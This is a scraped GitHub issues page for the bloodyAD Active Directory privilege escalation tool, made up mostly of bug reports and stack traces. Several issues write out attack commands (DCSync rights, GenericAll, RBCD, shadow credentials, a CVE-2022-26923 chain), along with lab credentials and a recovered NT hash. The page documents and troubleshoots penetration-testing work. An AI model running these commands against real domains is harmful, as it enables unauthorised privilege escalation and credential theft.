cravaterouge / bloodyad Goto Github PK
View Code? Open in Web Editor NEWBloodyAD is an Active Directory Privilege Escalation Framework
License: MIT License
BloodyAD is an Active Directory Privilege Escalation Framework
License: MIT License
Hi. Thank you for your work! This tool can hopefully fill the void after ACLPwn. I would very much like to try the tool but currently using pathgen.py fails with "TypeError: 'NoneType' object is not subscriptable".
I am using the standard installation of Bloodhound in Kali (which also includs Neo4j 4.2.1) and they are both running during testing of your tool. AD data is imported. I have also installed all the other requirements your tool requires. When executing the command "python3 pathgen.py -du neo4j -dp [password] -ds '[email protected]' -dt '[email protected]' I get the below stacktrace:
Traceback (most recent call last):
File "/root/pentest/bloodyAD/pathgen.py", line 30, in
main()
File "/root/pentest/bloodyAD/pathgen.py", line 18, in main
path = db.getPrivescPath(args.dbsource, args.dbtarget)
File "/root/pentest/bloodyAD/autobloody/database.py", line 11, in getPrivescPath
relationships = session.read_transaction(self._findShortestPath, source, target)
File "/root/pentest/virtual_env_bloodyad/lib/python3.9/site-packages/neo4j/work/simple.py", line 396, in read_transaction
return self._run_transaction(READ_ACCESS, transaction_function, *args, **kwargs)
File "/root/pentest/virtual_env_bloodyad/lib/python3.9/site-packages/neo4j/work/simple.py", line 325, in _run_transaction
result = transaction_function(tx, *args, **kwargs)
File "/root/pentest/bloodyAD/autobloody/database.py", line 64, in _findShortestPath
return result.single()[0].relationships
TypeError: 'NoneType' object is not subscriptable
Is there something I do wrong or does the code need updating?
First of all, thanks for this amazing project... which seems like a good alternative to aclpwn which has lib issues nowadays.... The error that I am having is when using pathgen.py.
neo4j.exceptions.ClientError: {code: Neo.ClientError.Procedure.ProcedureNotFound} {message: There is no procedure with the name gds.shortestPath.dijkstra.stream
registered for this database instance. Please ensure you've spelled the procedure name correctly and that the procedure is properly deployed.}
I am using the Neo4j Graph Data Science Library 2.0.4
When executing pathgen.py, it throws the following error:
neobolt.exceptions.CypherSyntaxError: Type mismatch: expected String but was Map (line 1, column 84 (offset: 83))
"MATCH (s {name:$source}), (t {name:$target}) CALL gds.shortestPath.dijkstra.stream({ sourceNode:s, targetNode:t, relationshipWeightProperty:'bloodycost', nodeProjection:'*', relationshipProjection:{all:{type:'*', properties:'bloodycost'}}}) YIELD path RETURN path"
This is because the call of gds.shortestPath.dijkstra.stream
was changed. The first argument must be now a graphName
, see https://neo4j.com/docs/graph-data-science/current/algorithms/dijkstra-source-target/
Moreover, the configuration options nodeProjection
, relationshipProjection
are not used anymore. Maybe because of the need to create a graph before calling the dijkstra stream.
first, I query the spn
python3 bloodyAD.py -d redteam.com -u user001 -p '123.com' --host 10.10.1.10 getObjectAttributes 'CN=TEST,CN=Computers,DC=redteam,DC=com' serviceprincipalname
then I try to use this to modify spn, but it's not working
python3 bloodyAD.py -d redteam.com -u user001 -p '123.com' --host 10.10.1.10 setAttribute 'CN=TEST,CN=Computers,DC=redteam,DC=com' servicePrincipalName '["RestrictedKrbHost/TEST","HOST/TEST","test1/test2"]'
python3 bloodyAD.py -d marvel.com -u ironman -p "Pass123" --host 192.168.102.101 getGroupMembers -identity spiderman
Error > bloodyAD.py: error: unrecognized arguments: -identity
python3 bloodyAD.py -d marvel.com -u ironman -p "Pass123" --host 192.168.102.101 getGroupMembers identity spiderman
Error > You provided too many arguments
Hi!
An other small issue, it's an idea to add an authenticate mode test.
Just to test if your authentication is valid or not.
Hello!
Thank you for the démo :)
Just this small idea to improve readability of : get object --attr nTSecurityDescriptor --resolve-sd
For example :
nTSecurityDescriptor.Owner: Domain Admins
nTSecurityDescriptor.Control: DACL_AUTO_INHERITED|DACL_PRESENT|SACL_AUTO_INHERITED|SELF_RELATIVE
nTSecurityDescriptor.ACL.0.Type: == ALLOWED_OBJECT ==
nTSecurityDescriptor.ACL.0.Trustee: RAS and IAS Servers
nTSecurityDescriptor.ACL.0.Right: READ_PROP
nTSecurityDescriptor.ACL.0.ObjectType: Logon-Information; Remote-Access-Information; Group-Membership; Account-Restrictions
nTSecurityDescriptor.ACL.1.Type: == ALLOWED_OBJECT ==
nTSecurityDescriptor.ACL.1.Trustee: Cert Publishers
nTSecurityDescriptor.ACL.1.Right: WRITE_PROP|READ_PROP
nTSecurityDescriptor.ACL.1.ObjectType: X509-Cert
nTSecurityDescriptor.ACL.2.Type: == ALLOWED_OBJECT ==
nTSecurityDescriptor.ACL.2.Trustee: WINDOWS_AUTHORIZATION_ACCESS_GROUP
nTSecurityDescriptor.ACL.2.Right: READ_PROP
nTSecurityDescriptor.ACL.2.ObjectType: Token-Groups-Global-And-Universal
Could become like this with TAB and jumpline:
nTSecurityDescriptor.Owner: Domain Admins
nTSecurityDescriptor.Control: DACL_AUTO_INHERITED|DACL_PRESENT|SACL_AUTO_INHERITED|SELF_RELATIVE
nTSecurityDescriptor.ACL.0.Type: == ALLOWED_OBJECT ==
nTSecurityDescriptor.ACL.0.Trustee: RAS and IAS Servers
nTSecurityDescriptor.ACL.0.Right: READ_PROP
nTSecurityDescriptor.ACL.0.ObjectType: Logon-Information; Remote-Access-Information; Group-Membership; Account-Restrictions
nTSecurityDescriptor.ACL.1.Type: == ALLOWED_OBJECT ==
nTSecurityDescriptor.ACL.1.Trustee: Cert Publishers
nTSecurityDescriptor.ACL.1.Right: WRITE_PROP|READ_PROP
nTSecurityDescriptor.ACL.1.ObjectType: X509-Cert
nTSecurityDescriptor.ACL.2.Type: == ALLOWED_OBJECT ==
nTSecurityDescriptor.ACL.2.Trustee: WINDOWS_AUTHORIZATION_ACCESS_GROUP
nTSecurityDescriptor.ACL.2.Right: READ_PROP
nTSecurityDescriptor.ACL.2.ObjectType: Token-Groups-Global-And-Universal
Yes, you guessed it :)
Either the command "setOwner" is broken or I am doing something wrong :) I am using your latest code and the account domainadmin1 is a domain administrator.
Also, how do I check who the current owner is? Both as in before exploiting this in order to be able to restore that owner afterwards and as in verifying that the owner has changed.
Hi. Me again :) This time I am trying to add DCSync rights to the account "tristan.davies" using the same environment as in my first ticket in which "BIR-ADFS-GMSA$" has GenericAll rights on "tristan.davies".
It seems the targeted account is successfully identified since its SID is outputted but then something happens. In my test environment "tristan.davies" is a domain admin and thus already has this right if that is the problem?
Hi- Awesome tool, can't thank enough.
I have real trouble getting bloodyAD to work with a ccache file. In many cases now, I have been able to obtain a ccache file and interact with the domain using tools such as impacket and smbclient. However, when I do the same export KRB5CCNAME=...
and try to use bloodyAD, I seem to always receive the same error:
gssapi.raw.misc.GSSError: Major (851968): Unspecified GSS failure. Minor code may provide more information, Minor (2529639066): Cannot find KDC for realm "bla.LOCAL"
I've spent time debugging, configuring krb5.conf, dns, more dns, and even more dns. Typical command I am trying to run:
proxychains4 bloodyAD -d bla.local -u 'user1' -k --host 192.163.240.12 get object sysadm
Am I doing something wrong? Missing some resource? Or is this a bug?
Hi again,
As always, your tool is amazing. No more PowerView! :)
As you may know, Bloodhound 4.2.0 was released today. It supports new edges and they have also improved some already existing edges. Dare I ask for support for these? :)
Thanks!
Hi,
In case you have not already seen this. Impacket can now toggle inheritance on containers and OUs. This makes it possible to exploit objects in those containers or OUs as long as they do not have "AdminCount" set to "1" or higher. Would it be possible to support this in BloodyAD?
Successful abuse example in my lab:
For example "python3 examples/dacledit.py -inheritance -action write -principal domainuser1 -target-dn 'CN=USERS,DC=ADLAB,DC=LOCAL' 'adlab.local/domainuser1:Passw0rd!'".
Thanks!
Hi,
When I try to install bloodyAD with pip, I get this error, I think it's related to the gssapi module
error: subprocess-exited-with-error
× Getting requirements to build wheel did not run successfully.
│ exit code: 1
╰─> [21 lines of output]
/bin/sh: 1: krb5-config: not found
Traceback (most recent call last):
File "/usr/local/lib/python3.10/site-packages/pip/_vendor/pep517/in_process/_in_process.py", line 363, in <module>
main()
File "/usr/local/lib/python3.10/site-packages/pip/_vendor/pep517/in_process/_in_process.py", line 345, in main
json_out['return_val'] = hook(**hook_input['kwargs'])
File "/usr/local/lib/python3.10/site-packages/pip/_vendor/pep517/in_process/_in_process.py", line 130, in get_requires_for_build_wheel
return hook(config_settings)
File "/tmp/user/0/pip-build-env-q04orkgu/overlay/lib/python3.10/site-packages/setuptools/build_meta.py", line 338, in get_requires_for_build_wheel
return self._get_build_requires(config_settings, requirements=['wheel'])
File "/tmp/user/0/pip-build-env-q04orkgu/overlay/lib/python3.10/site-packages/setuptools/build_meta.py", line 320, in _get_build_requires
self.run_setup()
File "/tmp/user/0/pip-build-env-q04orkgu/overlay/lib/python3.10/site-packages/setuptools/build_meta.py", line 335, in run_setup
exec(code, locals())
File "<string>", line 109, in <module>
File "<string>", line 22, in get_output
File "/usr/lib/python3.10/subprocess.py", line 420, in check_output
return run(*popenargs, stdout=PIPE, timeout=timeout, check=True,
File "/usr/lib/python3.10/subprocess.py", line 524, in run
raise CalledProcessError(retcode, process.args,
subprocess.CalledProcessError: Command 'krb5-config --libs gssapi' returned non-zero exit status 127.
[end of output]
note: This error originates from a subprocess, and is likely not a problem with pip.
error: subprocess-exited-with-error
× Getting requirements to build wheel did not run successfully.
│ exit code: 1
╰─> See above for output.
Any ideas how to fix it ?
After installing on clean Kali installation (also plays part on macOS), the following module is missing.
bloodyAD -h
Traceback (most recent call last):
File "/usr/lib/python3/dist-packages/ldap3/protocol/sasl/kerberos.py", line 47, in <module>
import winkerberos
ModuleNotFoundError: No module named 'winkerberos'
During handling of the above exception, another exception occurred:
Traceback (most recent call last):
File "/home/crypt0rr/.local/bin/bloodyAD", line 5, in <module>
from bloodyAD.main import main
File "/home/crypt0rr/.local/lib/python3.10/site-packages/bloodyAD/__init__.py", line 2, in <module>
from .config import Config, ConnectionHandler
File "/home/crypt0rr/.local/lib/python3.10/site-packages/bloodyAD/config.py", line 1, in <module>
from bloodyAD import patch
File "/home/crypt0rr/.local/lib/python3.10/site-packages/bloodyAD/patch.py", line 269, in <module>
from ldap3.protocol.sasl.kerberos import *
File "/usr/lib/python3/dist-packages/ldap3/protocol/sasl/kerberos.py", line 50, in <module>
raise LDAPPackageUnavailableError('package gssapi (or winkerberos) missing')
ldap3.core.exceptions.LDAPPackageUnavailableError: package gssapi (or winkerberos) missing
Installing winkerberos
from pypi will result in error (both OS).
python3 -m pip install winkerberos
Defaulting to user installation because normal site-packages is not writeable
Collecting winkerberos
Using cached winkerberos-0.9.0.zip (43 kB)
Preparing metadata (setup.py) ... done
Building wheels for collected packages: winkerberos
Building wheel for winkerberos (setup.py) ... error
error: subprocess-exited-with-error
× python setup.py bdist_wheel did not run successfully.
│ exit code: 1
╰─> [14 lines of output]
running bdist_wheel
running build
running build_ext
building 'winkerberos' extension
creating build
creating build/temp.linux-x86_64-3.10
creating build/temp.linux-x86_64-3.10/src
x86_64-linux-gnu-gcc -Wno-unused-result -Wsign-compare -DNDEBUG -g -fwrapv -O2 -Wall -g -fstack-protector-strong -Wformat -Werror=format-security -g -fwrapv -O2 -g -fstack-protector-strong -Wformat -Werror=format-security -Wdate-time -D_FORTIFY_SOURCE=2 -fPIC -I/usr/include/python3.10 -c src/kerberos_sspi.c -o build/temp.linux-x86_64-3.10/src/kerberos_sspi.o
In file included from src/kerberos_sspi.c:17:
src/kerberos_sspi.h:21:10: fatal error: Windows.h: No such file or directory
21 | #include <Windows.h>
| ^~~~~~~~~~~
compilation terminated.
error: command '/usr/bin/x86_64-linux-gnu-gcc' failed with exit code 1
[end of output]
note: This error originates from a subprocess, and is likely not a problem with pip.
ERROR: Failed building wheel for winkerberos
Running setup.py clean for winkerberos
Failed to build winkerberos
Installing collected packages: winkerberos
Running setup.py install for winkerberos ... error
error: subprocess-exited-with-error
× Running setup.py install for winkerberos did not run successfully.
│ exit code: 1
╰─> [16 lines of output]
running install
/usr/lib/python3/dist-packages/setuptools/command/install.py:34: SetuptoolsDeprecationWarning: setup.py install is deprecated. Use build and pip and other standards-based tools.
warnings.warn(
running build
running build_ext
building 'winkerberos' extension
creating build
creating build/temp.linux-x86_64-3.10
creating build/temp.linux-x86_64-3.10/src
x86_64-linux-gnu-gcc -Wno-unused-result -Wsign-compare -DNDEBUG -g -fwrapv -O2 -Wall -g -fstack-protector-strong -Wformat -Werror=format-security -g -fwrapv -O2 -g -fstack-protector-strong -Wformat -Werror=format-security -Wdate-time -D_FORTIFY_SOURCE=2 -fPIC -I/usr/include/python3.10 -c src/kerberos_sspi.c -o build/temp.linux-x86_64-3.10/src/kerberos_sspi.o
In file included from src/kerberos_sspi.c:17:
src/kerberos_sspi.h:21:10: fatal error: Windows.h: No such file or directory
21 | #include <Windows.h>
| ^~~~~~~~~~~
compilation terminated.
error: command '/usr/bin/x86_64-linux-gnu-gcc' failed with exit code 1
[end of output]
note: This error originates from a subprocess, and is likely not a problem with pip.
error: legacy-install-failure
× Encountered error while trying to install package.
╰─> winkerberos
note: This is an issue with the package mentioned above, not pip.
hint: See above for output from the failure.
Fixed by installing requests-kerberos
- python3 -m pip install requests-kerberos
Hi there! I love this tool and recently showcased it on my livestream but we ran into a little issue while in the demo. I was using it to demonstrate the exploitation of CVE-2022–26923, discussed in this blog post by Oliver Lyak. This exploitation chain requires the following:
1.) Check ms-DS-MachineAccountQuota to verify it is not 0.
2.) Use low-priv credentials to create a new machine account.
3.) Remove SPNs from new machine account which represent a full DNS name (eg. "computer.domain.local" rather than just "computer").
4.) Change dnsHostName property of machine account to match domain controller.
5.) Request certificate and authenticate as domain controller account.
The first four of these I was hoping to do entirely with BloodyAD, but only 1, 2, and 4 seemed possible. I tried many variants of the "set" command with BloodyAD trying to clear SPNs, add SPNs, and so on but all of them met errors:
Some of the errors are LDAP errors and some are Python-related; the latter arose when I tried -v ''
or left -v off entirely and appear to be related to trying to convert a null value to unicode. These were attempts to remove all SPNs, but I also failed to add SPNs as seen in the top. I was able to add these SPNs (example: HOST\test) while logged into the Domain Controller normally (like a sysadmin would be) but BloodyAD would not add or remove any SPNs at any point. There was always either an LDAP or Python error.
Eventually, I was able to clear the SPNs with addspn.py from the "krbrelayx" repo:
After this, BloodyAD was able to modify the dnsHostname property without an issue and exploitation was completed. It was only with the "serviceprincipalname" property that I encountered issues.
This may or may not be a problem with BloodyAD, but I figured you could at least show me the correct syntax for removing/changing/adding SPNs with the tool. There are multiple tutorials in existence online that exploit this CVE with BloodyAD (using an apparently old syntax involving "setAttribute" instead of "set"), so it seems like either no one has documented the correct new syntax or at some point, an issue was introduced.
Thanks for your time! Love the tool and was consistently impressed with it outside this one small issue!
Using the command get writable
sometimes fails with "Logon failure". I do not know exactly what triggers this but I get this error when authenticating using regular low priviledge accounts but not when authenticating using DAs so this may be related to privileges or lack there of.
In the screenshot you can see that the credentials for domainuser1
are correct but that the command get writable
still fails when authenticating using the same account. FYI. The account domainuser1
does not have write rights of any sort to any object:
Just to be certain, using the command get writable
will list objects the authenticating account has GenericAll or GenericWrite rights on, correct? Perhaps WriteDACL too?
I can successfully execute an RBCD attack without involving an existing SPN and instead using a computer account I added just before this using the tool at https://github.com/tothi/rbcd-attack. I tried the same attack using your command "setRbcd" but at the stage when the silver ticket is requested Impacket fails. I didn't actually expect your tool to work since it seems it requires an SPN which I did not input. Still, I wanted to try this before contacting you. I guess this is more of a feature request than a bug report. Can your tool support this attack without needing an SPN? This would lessen the number of requirements needed for this attack to work since anyone can add computers to a domain.
Hi,
I am trying out version 1.0.0 and I think I have found an issue. Filtering get children
on user
does not work. Other types are still outputted.
While computers, for example test3
and RODC1
, should not be shown using this filter I am not sure what is correct for the three other marked examples.
CHILD2$
is the sAMAccountName of a child domain (this is not shown when filtering on computer
)smsa1
is a standalone managed service account (this is also shown when filtering on computer
)gmsa1
is a group managed service account (this is also shown when filtering on computer
)Thanks!
The "setGenericAll" module with flag "enable" set to "False" does not work for me. After adding the permissions them with the module it is not possible to remove them.
Line 266 in 6840882
"ace_haspriv" is always "false" here.
Therefore the remove is never reached.
Line 282 in 6840882
Also this path is not taken, if the permissions are added twice.
Line 272 in 6840882
Hello, I encountered a problem during the local environment test
old
┌──(root㉿kali)-[/home/laot/桌面/bloodyAD-main]
└─# python3 bloodyAD.py -d test.lcoal -u 'test' -p 'Pass123' --host 192.168.1.15 addComputer pwnmachine 'CVEPassword1234*'
Opening domain TEST...
Successfully added machine account pwnmachine$ with password CVEPassword1234*.
new
┌──(root㉿kali)-[/home/laot/桌面/bloodyAD-0.1.8]
└─# python3 bloodyAD.py -d test.lcoal -u 'test' -p 'Pass123' --host 192.168.1.15 addComputer pwnmachine 'CVEPassword1234*'
Traceback (most recent call last):
File "/home/laot/桌面/bloodyAD-0.1.8/bloodyAD.py", line 5, in <module>
main.main()
File "/home/laot/桌面/bloodyAD-0.1.8/bloodyAD/main.py", line 71, in main
args.func(conn, **params)
File "/home/laot/桌面/bloodyAD-0.1.8/bloodyAD/modules.py", line 157, in addComputer
ldap_conn.add(computer_dn, attributes=attr)
File "/usr/lib/python3/dist-packages/ldap3/core/connection.py", line 1013, in add
response = self.post_send_single_response(self.send('addRequest', request, controls))
File "/usr/lib/python3/dist-packages/ldap3/strategy/sync.py", line 160, in post_send_single_response
responses, result = self.get_response(message_id)
File "/usr/lib/python3/dist-packages/ldap3/strategy/base.py", line 403, in get_response
raise LDAPOperationResult(result=result['result'], description=result['description'], dn=result['dn'], message=result['message'], response_type=result['type'])
ldap3.core.exceptions.LDAPConstraintViolationResult: LDAPConstraintViolationResult - 19 - constraintViolation - None - 0000200B: AtrErr: DSID-033E0F1B, #1:
0: 0000200B: DSID-033E0F1B, problem 1005 (CONSTRAINT_ATT_TYPE), data 0, Att 9026b (dNSHostName)
- addResponse - None
The same test environment, I don't understand why
Using the tool for a while, for the first time facing an issues with Kerberos authentication for HTB machine "Absolute".
Any suggestions? other tools for example netexec works fine with Kerberos auth for the same account.
Also,using the latest code from git.
bloodyAD -d absolute.htb --host DC.absolute.htb --dc-ip 10.129.229.59 -k -u d.klay -p "Darkmoonsky248girl" get writable
Traceback (most recent call last):
File "/root/Tools/bloodyAD/bloodyAD.py", line 5, in <module>
main.main()
File "/root/Tools/bloodyAD/bloodyAD/main.py", line 157, in main
for entry in output:
File "/root/Tools/bloodyAD/bloodyAD/cli_modules/get.py", line 485, in writable
searchbases.append(conn.ldap.domainNC)
^^^^^^^^^
File "/root/Tools/bloodyAD/bloodyAD/network/config.py", line 80, in ldap
self._ldap = Ldap(self.conf)
^^^^^^^^^^^^^^^
File "/root/Tools/bloodyAD/bloodyAD/network/ldap.py", line 89, in __init__
ldap_factory = LDAPConnectionFactory.from_url(
^^^^^^^^^^^^^^^^^^^^^^^^^^^^^^^
File "/usr/local/lib/python3.11/dist-packages/msldap/commons/factory.py", line 80, in from_url
credential = UniCredential.from_url(connection_url)
^^^^^^^^^^^^^^^^^^^^^^^^^^^^^^^^^^^^^^
File "/root/Tools/bloodyAD/bloodyAD/msldap_patch.py", line 681, in from_url
if extra["dcc"] is not None:
~~~~~^^^^^^^
KeyError: 'dcc'
pathgen.py is not working for me.
The stacktrace:
Traceback (most recent call last):
File "/home/kali/WINDOWS/tools/bloodyAD/pathgen.py", line 36, in <module>
main()
File "/home/kali/WINDOWS/tools/bloodyAD/pathgen.py", line 21, in main
db = database.Database(args.dburi, args.dbuser, args.dbpassword)
File "/home/kali/WINDOWS/tools/bloodyAD/autobloody/database.py", line 7, in __init__
self._prepareDb()
File "/home/kali/WINDOWS/tools/bloodyAD/autobloody/database.py", line 20, in _prepareDb
session.write_transaction(self._createGraph)
File "/home/kali/.local/lib/python3.10/site-packages/neo4j/work/simple.py", line 432, in write_transaction
return self._run_transaction(WRITE_ACCESS, transaction_function, *args, **kwargs)
File "/home/kali/.local/lib/python3.10/site-packages/neo4j/work/simple.py", line 325, in _run_transaction
result = transaction_function(tx, *args, **kwargs)
File "/home/kali/WINDOWS/tools/bloodyAD/autobloody/database.py", line 63, in _createGraph
graph_exists = tx.run("RETURN gds.graph.exists('autobloody')").single()[0]
File "/home/kali/.local/lib/python3.10/site-packages/neo4j/work/transaction.py", line 141, in run
result._tx_ready_run(query, parameters, **kwparameters)
File "/home/kali/.local/lib/python3.10/site-packages/neo4j/work/result.py", line 70, in _tx_ready_run
self._run(query, parameters, None, None, None, None, **kwparameters)
File "/home/kali/.local/lib/python3.10/site-packages/neo4j/work/result.py", line 117, in _run
self._attach()
File "/home/kali/.local/lib/python3.10/site-packages/neo4j/work/result.py", line 206, in _attach
self._connection.fetch_message()
File "/home/kali/.local/lib/python3.10/site-packages/neo4j/io/_common.py", line 188, in inner
func(*args, **kwargs)
File "/home/kali/.local/lib/python3.10/site-packages/neo4j/io/_bolt4.py", line 306, in fetch_message
response.on_failure(summary_metadata or {})
File "/home/kali/.local/lib/python3.10/site-packages/neo4j/io/_common.py", line 246, in on_failure
raise Neo4jError.hydrate(**metadata)
neo4j.exceptions.CypherSyntaxError: Unknown function 'gds.graph.exists' (line 1, column 8 (offset: 7))
"RETURN `gds`.`graph`.`exists`(("autobloody")) AS `gds.graph.exists('autobloody')`"
My installed python libs:
neo4j 4.4.5
neo4j-driver 4.4.5
neobolt 1.7.17
Wondering if it is possible to enhance the shadowCredential attack to remove the use of another tool?
bloodyAD -d absolute.htb --host dc.absolute.htb -k -u m.lovegod -p 'AbsoluteLDAP2022!' add shadowCredentials winrm_user
[+] KeyCredential generated with following sha256 of RSA key: 14835400bcc0ed3199d6b17edb829ef94c31fd45379028d3267d13ec6010465c
No outfile path was provided. The certificate(s) will be stored with the filename: FNoxGjcN
[+] Saved PEM certificate at path: FNoxGjcN_cert.pem
[+] Saved PEM private key at path: FNoxGjcN_priv.pem
A TGT can now be obtained with https://github.com/dirkjanm/PKINITtools
Run the following command to obtain a TGT:
python3 PKINITtools/gettgtpkinit.py -cert-pem FNoxGjcN_cert.pem -key-pem FNoxGjcN_priv.pem absolute.htb/winrm_user FNoxGjcN.ccache
So, the attack is a success but need another tool PKINITtools to get the TGT.
If it is possible to implement something like what certipy
did would be awesome, it perform the same attack and provide TGT. (In the past, i guess PKINITtools was required for certipy as well)
certipy shadow auto -target dc.absolute.htb -account winrm_user -k -u [email protected] -p 'AbsoluteLDAP2022!'
Certipy v4.8.2 - by Oliver Lyak (ly4k)
[*] Targeting user 'winrm_user'
[*] Generating certificate
[*] Certificate generated
[*] Generating Key Credential
[*] Key Credential generated with DeviceID '65f2b4c3-f4ef-406b-6d25-e90c9d6d5bc7'
[*] Adding Key Credential with device ID '65f2b4c3-f4ef-406b-6d25-e90c9d6d5bc7' to the Key Credentials for 'winrm_user'
[*] Successfully added Key Credential with device ID '65f2b4c3-f4ef-406b-6d25-e90c9d6d5bc7' to the Key Credentials for 'winrm_user'
[*] Authenticating as 'winrm_user' with the certificate
[*] Using principal: [email protected]
[*] Trying to get TGT...
[*] Got TGT
[*] Saved credential cache to 'winrm_user.ccache'
[*] Trying to retrieve NT hash for 'winrm_user'
[*] Restoring the old Key Credentials for 'winrm_user'
[*] Successfully restored the old Key Credentials for 'winrm_user'
[*] NT hash for 'winrm_user': 8738c7413a5da3bc1d083efc0ab06cb2
Hi mate,
Can you please check for the SetGenericAll in the case of an OU.
identity -> OU where the current user has GenericAll or is Owner.
The objective is to set GenericAll on a user that is in that same OU.
Looking to do something like
--- Before
CompromisedUser -------GenericAll---------> Hero [OU] -------------contains-------------> TargetUser
--- After
CompromisedUser ---------GenericAll-------> Hero [OU] -------------GenericAll-------------> TargetUser
Thanks again for your work :) ..... some of the functions do not give output but is working.... and some seems to work fine with DN but not other input type.... but great work... will surely help in RT ops...
Hello CravateRouge
Happy new year and congratulations for your super b tool.
It's my first time trying to exploit a Windows Domain ACL issue, I found your tool linked in a blogpost from DCSync, I discovered bloodyAD and acltoolkit with this blogpost. Well, I failed miserable trying to exploit it, I will be very helpful if you could provide some insights. My case is like the one below (obtained via bloodhound - if you think it helps, I can upload images anywhere or send to your email if you prefer), looks like two paths exist from MyUser to DomainAdmins via ACL issues.
PATH 1: MyUser <---> Group1 <---> Group2 <---> (GenericAll) <---> MyDomain <---> (contains) Users Privileged Group <----> Domain Admin
PATH 2: MyUser <---> Group1 <---> Group2 <---> (AddMember) <---> Enterprise Key Accounts <---> (GenericALL)Users Privileged Group <----> Domain Admin
I'm using output from the 3 tools, I hope that you don't mind, I wanted to make sure it was not an specific issue of a specific tool.
My first try as a dumb guy was to use DCSync from the blog post and I failed miserable.
└─$ python3 DCSync.py -dc dcname.Mydomain -t "CN=muser,OU=Users,OU=London,OU=MyCompany,DC=Mydomain,DC=INT" Mydomain\\muser:'mypass'
Impacket v0.10.1.dev1+20221214.172823.8799a1a2 - Copyright 2022 Fortra
[*] Starting DCSync Attack against CN=muser,OU=Users,OU=London,OU=MyCompany,DC=Mydomain,DC=INT
[*] Initializing LDAP connection to dcname.Mydomain
[*] Using Mydomain\muser account with password ***
[*] LDAP bind OK
[*] Initializing domainDumper()
[*] Initializing LDAPAttack()
[*] Querying domain security descriptor
[-] Error when updating ACL: {'result': 50, 'description': 'insufficientAccessRights', 'dn': '', 'message': '00000005: SecErr: DSID-03152DB2, problem 4003 (INSUFF_ACCESS_RIGHTS), data 0\n\x00', 'referrals': None, 'type': 'modifyResponse'}
It says that I don't have privilege, my guess was that I had to follow PATH2 for example and add MyUser to Enterprise Key Accounts or give GenericAll to Users Privileged Group and than DCSync, but I also failed miserable.
└─$ acltoolkit Mydomain/myuser:'mypass'@192.168.1.31 -debug -scheme ldap add-groupmember -user muser2 -group Enterprise Key Accounts
[+] Connecting to LDAP at '192.168.1.31' (192.168.1.31)
[+] Connected to 192.168.1.31, port 389, SSL False
[*] Will add CN=muser2,OU=Users,OU=London,OU=MyCompany,DC=Mydomain,DC=int to CN=Enterprise Key Accounts ,OU=Admin Groups,OU=Management,OU=MyCompany,DC=Mydomain,DC=int group
Traceback (most recent call last):
File "/home/kali/.local/bin//acltoolkit", line 8, in <module>
sys.exit(main())
File "/home/kali/.local/lib/python3.10/site-packages/acltoolkit/entry.py", line 207, in main
add_groupmember(options)
File "/home/kali/.local/lib/python3.10/site-packages/acltoolkit/add_groupmember.py", line 88, in add_groupmember
g.run()
File "/home/kali/.local/lib/python3.10/site-packages/acltoolkit/add_groupmember.py", line 38, in run
raise Exception('Could not modify object, the server reports insufficient rights: %s', ret['message'])
Exception: ('Could not modify object, the server reports insufficient rights: %s', '00002098: SecErr: DSID-031514A0, problem 4003 (INSUFF_ACCESS_RIGHTS), data 0\n\x00')
It says that I have no privilege at all, however bloodhound told that I could AddMember, I was thinking if Bloodhound could have interpreted it wrong, but I guess the error is me. Any advice here?
I moved to give GenericAll to the Privileged group and this time the error was different in both tools which called my attention
└─$ python3 bloodyAD.py -d Mydomain -u muser -p 'mypass' --host 192.168.1.31 setGenericAll S-1-5-21-1908570442-2185358661-9027324241-2102 S-1-5-21-1908570442-2185358661-9027324241-128064
[*] S-1-5-21-1908570442-2185358661-9027324241-2102 SID is: S-1-5-21-1908570442-2185358661-9027324241-2102
Traceback (most recent call last):
File "/home/kali/bloodyAD/bloodyAD.py", line 5, in <module>
main.main()
File "/home/kali/bloodyAD/bloodyAD/main.py", line 132, in main
args.func(conn, **params)
File "/home/kali/bloodyAD/bloodyAD/modules.py", line 334, in setGenericAll
setAttr(conn, target, ldap_attribute, [new_sd.getData()], control_flag)
File "/home/kali/bloodyAD/bloodyAD/utils.py", line 155, in setAttr
ldap_conn.modify(dn, {attribute: [ldap3.MODIFY_REPLACE, value]}, controls)
File "/usr/lib/python3/dist-packages/ldap3/core/connection.py", line 1150, in modify
response = self.post_send_single_response(self.send('modifyRequest', request, controls))
File "/usr/lib/python3/dist-packages/ldap3/strategy/sync.py", line 160, in post_send_single_response
responses, result = self.get_response(message_id)
File "/usr/lib/python3/dist-packages/ldap3/strategy/base.py", line 403, in get_response
raise LDAPOperationResult(result=result['result'], description=result['description'], dn=result['dn'], message=result['message'], response_type=result['type'])
ldap3.core.exceptions.LDAPInsufficientAccessRightsResult: LDAPInsufficientAccessRightsResult - 50 - insufficientAccessRights - None - 00000005: SecErr: DSID-03152DB2, problem 4003 (INSUFF_ACCESS_RIGHTS), data 0
- modifyResponse - None
─$ acltoolkit Mydomain/muser:'mypass'@192.168.1.31 -debug -scheme ldap give-genericall -target-sid S-1-5-21-1908570442-2185358661-9027324241-2102 -granted-sid S-1-5-21-1908570442-2185358661-9027324241-128064
[+] Connecting to LDAP at '192.168.1.31' (192.168.1.31)
[+] Connected to 192.168.1.31, port 389, SSL False
[*] Find target object: CN=_svcSccmWks,OU=Contas de Servico,OU=Contas de Infraestrutura,OU=Management,OU=MyCompany,DC=Mydomain,DC=int
[*] Granted object will be: CN=muser2,OU=Users,OU=London,OU=MyCompany,DC=Mydomain,DC=int
Traceback (most recent call last):
File "/home/kali/.local/bin//acltoolkit", line 8, in <module>
sys.exit(main())
File "/home/kali/.local/lib/python3.10/site-packages/acltoolkit/entry.py", line 203, in main
give_genericall(options)
File "/home/kali/.local/lib/python3.10/site-packages/acltoolkit/give_genericall.py", line 114, in give_genericall
g.run()
File "/home/kali/.local/lib/python3.10/site-packages/acltoolkit/give_genericall.py", line 46, in run
raise Exception('Could not modify object, the server reports a constrained violation: %s', ret['message'])
Exception: ('Could not modify object, the server reports a constrained violation: %s', '0000051B: AtrErr: DSID-030F2312, #1:\n\t0: 0000051B: DSID-030F2312, problem 1005 (CONSTRAINT_ATT_TYPE), data 0, Att 20119 (nTSecurityDescriptor)\n\x00')
Where -target-sid is the value of "Users Privileged Group" and -granted-sid is the SID of Myuser.
One thing that called my attention is that the errors are different from both tools. Curious, not?
Have you seen this before? I searched at Google and it says in some forums that the error from the second tool could be privilege missing (similar to the error of the first tool) and others some crazy stuff about CN / DN names. Any guess?
I was curious if Bloodhound got data wrong, so I used these awesome tools to see the privilege of Myuser and it display the following.
└─$ acltoolkit Mydomain/muser:'mypass'@192.168.1.31 -debug -scheme ldap get-objectacl
